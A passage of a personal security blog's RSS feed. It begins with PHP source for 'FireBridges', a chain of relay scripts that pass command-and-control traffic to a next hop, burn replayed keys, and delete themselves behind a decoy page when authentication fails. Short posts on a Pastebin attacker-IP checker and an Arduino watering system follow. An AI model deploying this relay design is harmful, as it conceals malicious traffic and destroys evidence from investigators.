        <span style="color: #000088;">$result</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">%</span><span style="color:#800080;">2</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$chars</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">mt_rand</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">19</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">23</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$chars</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">mt_rand</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">18</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$testString</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;This is going to my c&amp;c&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$testString</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$testString</span> <span style="color: #339933;">.</span> randomData<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// just to make sure i dont send the same request too may times (would be a replay then)</span>
<span style="color: #000088;">$testString</span> <span style="color: #339933;">=</span> createFireBridgeKey<span style="color: #009900;">&#40;</span><span style="color: #000088;">$testString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$postArray</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #000088;">$testString</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_FOLLOWLOCATION<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://next.hop.andrewmohawk.com/fireBridges/bridge.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POST<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POSTFIELDS<span style="color: #339933;">,</span> <span style="color: #990000;">http_build_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$postArray</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// forward all POST data</span>
<span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<h3><strong>bridge.php</strong> (script initially called)</h3>
<p><a href="https://andrewmohawk.com/fireBridges/bridge.phps">(download bridge.php)</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$includeFile</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;proxyRequest.php&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dbFile</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;firebridge.sqlite&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #b1b100;">include</span> <span style="color: #000088;">$includeFile</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$x</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span>proxyRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$x</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$x</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$x</span> <span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">else</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$includeFile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #339933;">@</span><span style="color: #990000;">unlink</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dbFile</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;html&gt;&lt;body&gt;&lt;h1&gt;It works!&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<h3><strong>proxyRequest.php</strong> (actual proxy)</h3>
<p><a href="https://andrewmohawk.com/fireBridges/proxyRequest.phps" _mce_href="https://andrewmohawk.com/fireBridges/proxyRequest.phps">(download proxyRequest.php)</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> proxyRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">/*****************************************/</span>
    <span style="color: #666666; font-style: italic;">/*      Settings                         */</span>
    <span style="color: #666666; font-style: italic;">/*****************************************/</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Maximum number of times we can see a key before we consider it tampered</span>
    <span style="color: #000088;">$threshold</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span> 
&nbsp;
    <span style="color: #666666; font-style: italic;">// Determines whether to send the request on to the next hop after seeing that its above threshhold</span>
    <span style="color: #000088;">$burnNextHop</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">True</span><span style="color: #339933;">;</span> 
&nbsp;
    <span style="color: #666666; font-style: italic;">//where the proxy forwards the request to and returns the response from, can either be another fireBridge or the destination</span>
    <span style="color: #000088;">$nextHop</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'http://next.hop.andrewmohawk.com/bridge.php'</span><span style="color: #339933;">;</span> 
&nbsp;
&nbsp;
    <span style="color: #666666; font-style: italic;">//Determine if the 'key' is valid (POST Field)</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>checkAuth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
            <span style="color: #666666; font-style: italic;">/*
                Lets make sure this isnt a replay above our threshhold :)
                --check in a SQLite db stored with this file.
            */</span>
&nbsp;
            <span style="color: #666666; font-style: italic;">//Connect to DB</span>
            <span style="color: #000088;">$db</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SQLite3<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'firebridge.sqlite'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #666666; font-style: italic;">//Sanitize (cant have the firebridges getting compromised)</span>
            <span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">escapeString</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #666666; font-style: italic;">//Look for the key we have just got back</span>
            <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">querySingle</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT count FROM seenKeys WHERE key='<span style="color: #006699; font-weight: bold;">$key</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span>
            <span style="color: #009900;">&#123;</span>
                <span style="color: #666666; font-style: italic;">//Determin if this key has been seen too many times (replaying)</span>
                <span style="color: #000088;">$num</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$num</span> <span style="color: #339933;">&gt;</span> <span style="color: #000088;">$threshold</span><span style="color: #009900;">&#41;</span>
                <span style="color: #009900;">&#123;</span>
                    <span style="color: #666666; font-style: italic;">//if burnNextHop is set, send the request on to the next hop but dont return the output</span>
                    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$burnNextHop</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
                    <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_FOLLOWLOCATION<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #000088;">$nextHop</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POST<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POSTFIELDS<span style="color: #339933;">,</span> <span style="color: #990000;">http_build_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// forward all POST data</span>
                        <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span>
&nbsp;
                    <span style="color: #666666; font-style: italic;">//Burn it.</span>
                    <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #b1b100;">else</span>
                <span style="color: #009900;">&#123;</span>
                    <span style="color: #666666; font-style: italic;">//If we have seen this key before but it hasnt reached threshold then +1 its count</span>
                    <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UPDATE seenKeys SET count = count + 1 WHERE key='<span style="color: #006699; font-weight: bold;">$key</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
            <span style="color: #b1b100;">else</span>
            <span style="color: #009900;">&#123;</span>
                <span style="color: #666666; font-style: italic;">//Haven't seen the key before and it passed the check, insert it into the db</span>
                <span style="color: #000088;">$db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT Into seenKeys (key,count) VALUES('<span style="color: #006699; font-weight: bold;">$key</span>',1)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #009900;">&#125;</span>
&nbsp;
            <span style="color: #666666; font-style: italic;">/* 
                If we get to here the request was valid and the key didnt pass the threshhold
                so we don't suspect replay. Now just go to the nextHop, send on any/all POST fields
                sent to this page and return the data.
            */</span>
&nbsp;
            <span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_FOLLOWLOCATION<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #000088;">$nextHop</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_RETURNTRANSFER<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POST<span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_setopt</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POSTFIELDS<span style="color: #339933;">,</span> <span style="color: #990000;">http_build_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// forward all POST data</span>
            <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #990000;">curl_exec</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #990000;">curl_close</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">return</span> <span style="color: #000088;">$output</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">else</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;">/**********************************************************
  Determines if the post field 'KEY' matches correctly,
  in this example it needs to be: 
    B64(RIJNDAEL256(B64(secretkey))):
&nbsp;
    Encoding/Encrypting:
        b64_1 = Base64_encode('text')
        RIJ_2 = RIJNDAEL_256_encode(b64_1)
        b64_3 = Base64_encode(RIJ_2)
&nbsp;
    Decoding/Decrypting:
        b64_1 = Base64_decode(_post_key_)
        RIJ_2 = RIJNDAEL_256_decode(b64_1)
        b64_3 = Base64_decode(RIJ_2)
&nbsp;
/*********************************************************/</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> checkAuth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">//Create IV's</span>
    <span style="color: #000088;">$iv_size</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_get_iv_size</span><span style="color: #009900;">&#40;</span>MCRYPT_RIJNDAEL_256<span style="color: #339933;">,</span> MCRYPT_MODE_ECB<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$iv</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_create_iv</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$iv_size</span><span style="color: #339933;">,</span> MCRYPT_RAND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$cryptKey</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Secret_^&amp;Key!@#$FireBr!dge@@112A'</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">//Fetch Key from POST</span>
    <span style="color: #000088;">$BridgeKey</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">//First decode, used primarly for sending the encrypted data </span>
    <span style="color: #000088;">$BridgeKey</span> <span style="color: #339933;">=</span> <span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$BridgeKey</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
    <span style="color: #666666; font-style: italic;">//if it doesnt decode someone has tampered with the initial B64 - Burn it.</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$BridgeKey</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">//Decrypt it with our key, decrypted text should be base64 so we can check it decodes easily</span>
    <span style="color: #000088;">$decrypttext</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mcrypt_decrypt</span><span style="color: #009900;">&#40;</span>MCRYPT_RIJNDAEL_256<span style="color: #339933;">,</span> <span style="color: #000088;">$cryptKey</span><span style="color: #339933;">,</span> <span style="color: #000088;">$BridgeKey</span><span style="color: #339933;">,</span> MCRYPT_MODE_ECB<span style="color: #339933;">,</span> <span style="color: #000088;">$iv</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
    <span style="color: #000088;">$finalDecode</span> <span style="color: #339933;">=</span> <span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$decrypttext</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">//If this doesnt decode someone has tampered with the encrypted text - Burn it.</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$finalDecode</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
    <span style="color: #666666; font-style: italic;">/*
        Insert your own functions here to check the data that was encoded/encrypted/encoded and now decoded/decrypted/decoded 
        So something like making sure a key matches a certain checksum etc.
    */</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
&nbsp;
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/02/26/firebridges/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pastebin DoS + PasteLert</title>
		<link>http://andrewmohawk.com/2012/02/24/pastebin-dos-pastelert/</link>
		<comments>http://andrewmohawk.com/2012/02/24/pastebin-dos-pastelert/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 12:45:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=379</guid>
		<description><![CDATA[Hey guys, I saw the pastebin guys put out a list of the IP addresses that have been attacking them for people to check if they were, I wrote a quick little script to test this at: http://andrewmohawk.com/pastebinAttack/ Secondly, i see pastelert broke with the new GUI change on pastebin, I&#8217;ve fixed it on mine [...]]]></description>
			<content:encoded><![CDATA[<p>Hey guys,</p>
<p>I saw the pastebin guys put out a<a href="https://twitter.com/#!/pastebin/status/172997893685379072"> list of the IP addresses</a> that have been attacking them for people to check if they were, I wrote a quick little script to test this at: <a title="http://andrewmohawk.com/pastebinAttack/" href="http://andrewmohawk.com/pastebinAttack/" target="_blank">http://andrewmohawk.com/pastebinAttack/</a></p>
<p>Secondly, i see pastelert broke with the new GUI change on pastebin, I&#8217;ve fixed it on mine and I will post an update sometime here, if its urgent just drop me a mail and i&#8217;ll send the patch :)</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/02/24/pastebin-dos-pastelert/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automated Water System</title>
		<link>http://andrewmohawk.com/2011/11/14/automated-water-system/</link>
		<comments>http://andrewmohawk.com/2011/11/14/automated-water-system/#comments</comments>
		<pubDate>Mon, 14 Nov 2011 17:03:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Soil Sensor]]></category>
		<category><![CDATA[Water Pump]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=333</guid>
		<description><![CDATA[So this is going to be a rather strange post as at the time of writing its not actually implemented, the system is built in a waterproof container as well as the networking setup and so on. I figure that since I will only be able to get another Arduino and ethernet shield at a [...]]]></description>
			<content:encoded><![CDATA[<p>So this is going to be a rather strange post as at the time of writing its not actually implemented, the system is built in a waterproof container as well as the networking setup and so on. I figure that since I will only be able to get another Arduino and ethernet shield at a later stage I may as well write it up for now. Below are a few pictures of the system completed:</p>
<div id="attachment_335" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedTwo.jpg"><img class="size-thumbnail wp-image-335 " title="Completed System" src="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedTwo-150x150.jpg" alt="Completed System" width="150" height="150" /></a><p class="wp-caption-text">Completed System</p></div>
<div id="attachment_334" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedOne.jpg"><img class="size-thumbnail wp-image-334 " title="Completed System" src="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedOne-150x150.jpg" alt="Completed System" width="150" height="150" /></a><p class="wp-caption-text">Completed System</p></div>
<div id="attachment_337" class="wp-caption alignleft" style="width: 160px"><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedThree.jpg"><img class="size-thumbnail wp-image-337 " title="Completed System" src="http://andrewmohawk.com/wp-content/uploads/2011/11/CompletedThree-150x150.jpg" alt="Completed System" width="150" height="150" /></a><p class="wp-caption-text">Completed System</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>With regards to the requirements for the system my part spec was as follows:</p>
<ul>
<li><strong>One large reservoir</strong> &#8211; I got an 80 litre orange bucket for about R100</li>
<li><strong>Arduino + Ethernet shield</strong> &#8211; pretty stock standard</li>
<li><strong>4x 10K resistors</strong> &#8211; used for the sensors</li>
<li><strong>4x &#8216;sensors&#8217; &#8211; </strong>sensors setup as before, coiled wire (soldered if you can) and taped on</li>
<li><strong>8x galvanised steel washers</strong> &#8211; used as the actual sensors</li>
<li><strong>2x transistors </strong>- used for the relay setup</li>
<li><strong>2x relays </strong>- I used LT-5GS&#8217; for this to switch the pumps on and off</li>
<li><strong>2x Diodes</strong> &#8211; used for my relay setup</li>
<li><strong>2x Water pumps </strong>- I used two (1 per pot) honestly because it was cheaper, although not as elegant as having a electrical valves and a more intricate watering system, mine were the 1.5A 12V bilge pumps (about R150 each)</li>
<li><strong>2x Water pump power supplies</strong> &#8211; Obviously used for the pumps power, I used some cheap power adapters that didn&#8217;t cost much</li>
<li><strong>1x Arduino power supply </strong>- See <a title="http://www.arduino.cc/playground/Learning/WhatAdapter" href="http://www.arduino.cc/playground/Learning/WhatAdapter" target="_blank">http://www.arduino.cc/playground/Learning/WhatAdapter</a> for more information</li>
<li><strong>Wires, Tape, Tv Series, Patience </strong>-  essential in setting this up :)</li>
</ul>
<p><span id="more-333"></span></p>
<p>After getting the above its important to setup the environment:</p>
<p><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/environment1.jpg"><img class="alignleft size-thumbnail wp-image-347" title="environment1" src="http://andrewmohawk.com/wp-content/uploads/2011/11/environment1-150x150.jpg" alt="" width="150" height="150" /></a><a href="http://andrewmohawk.com/wp-content/uploads/2011/11/environment2.jpg"><img class="alignleft size-thumbnail wp-image-348" title="environment2" src="http://andrewmohawk.com/wp-content/uploads/2011/11/environment2-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
